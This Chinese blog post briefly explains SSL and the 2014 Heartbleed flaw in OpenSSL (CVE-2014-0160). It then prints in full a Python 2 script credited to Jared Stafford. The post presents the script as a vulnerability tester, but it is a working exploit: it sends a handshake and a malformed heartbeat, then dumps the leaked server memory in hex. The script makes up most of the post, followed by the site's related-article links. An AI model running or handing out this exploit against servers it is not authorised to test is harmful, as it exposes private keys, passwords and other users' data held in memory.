一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
Python中使用strip()方法删除字符串中空格的教程
May 20 Python
Python中方法链的使用方法
Feb 23 Python
Python开发的实用计算器完整实例
May 10 Python
基于python 爬虫爬到含空格的url的处理方法
May 11 Python
python实现屏保计时器的示例代码
Aug 08 Python
解决Pycharm出现的部分快捷键无效问题
Oct 22 Python
在django中自定义字段Field详解
Dec 03 Python
如何使用selenium和requests组合实现登录页面
Feb 03 Python
Python3 利用face_recognition实现人脸识别的方法
Mar 13 Python
python获取响应某个字段值的3种实现方法
Apr 30 Python
python 等差数列末项计算方式
May 03 Python
Pytorch 使用opnecv读入图像由HWC转为BCHW格式方式
Jun 02 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
简化php模板页面中分页代码的解析
2009/02/06 PHP
PHP和C#可共用的可逆加密算法详解
2015/10/26 PHP
php实现用户注册密码的crypt加密
2017/06/08 PHP
Laravel6.0.4中将添加计划任务事件的方法步骤
2019/10/15 PHP
JQuery jsonp 使用示例代码
2009/08/12 Javascript
jquery 页面全选框实践代码
2010/04/02 Javascript
javascript小组件 原生table排序表格脚本(兼容ie firefox opera chrome)
2012/07/25 Javascript
node.js中的fs.chmodSync方法使用说明
2014/12/18 Javascript
javascript面向对象之this关键词用法分析
2015/01/13 Javascript
PHP+jQuery实现随意拖动层并即时保存拖动位置
2015/04/30 Javascript
javascript实现简单的ajax封装示例
2016/12/28 Javascript
Javascript for in的缺陷总结
2017/02/03 Javascript
JS验证input输入框(字母,数字,符号,中文)
2017/03/23 Javascript
Webpack优化配置缩小文件搜索范围
2017/12/25 Javascript
JavaScript实现创建自定义对象的常用方式总结
2018/07/09 Javascript
Vue 3.x+axios跨域方案的踩坑指南
2019/07/04 Javascript
微信小程序授权登陆及每次检查是否授权实例代码
2019/09/18 Javascript
linux安装Python3.4.2的操作方法
2018/09/28 Python
Python生成rsa密钥对操作示例
2019/04/26 Python
Python实现使用dir获取类的方法列表
2019/12/24 Python
浏览器实现移动端高性能css3动画(开启gpu加速)
2013/12/23 HTML / CSS
耐克波兰官方网站:Nike波兰
2019/09/03 全球购物
绘画设计学生的个人自我评价
2013/09/20 职场文书
公司成本主管岗位责任制
2014/02/21 职场文书
珍惜资源保护环境的建议书
2014/05/14 职场文书
酒店优秀员工事迹材料
2014/06/02 职场文书
卖房授权委托书样本
2014/10/05 职场文书
防灾减灾标语
2014/10/07 职场文书
单位未婚证明范本
2014/11/25 职场文书
给领导的感谢信范文
2015/01/23 职场文书
土建施工员岗位职责
2015/04/11 职场文书
整改通知书格式
2015/04/22 职场文书
飞屋环游记观后感
2015/06/08 职场文书
建立共青团委员会的请示
2019/04/02 职场文书
django注册用邮箱发送验证码的实现
2021/04/18 Python
golang 生成对应的数据表struct定义操作
2021/04/28 Golang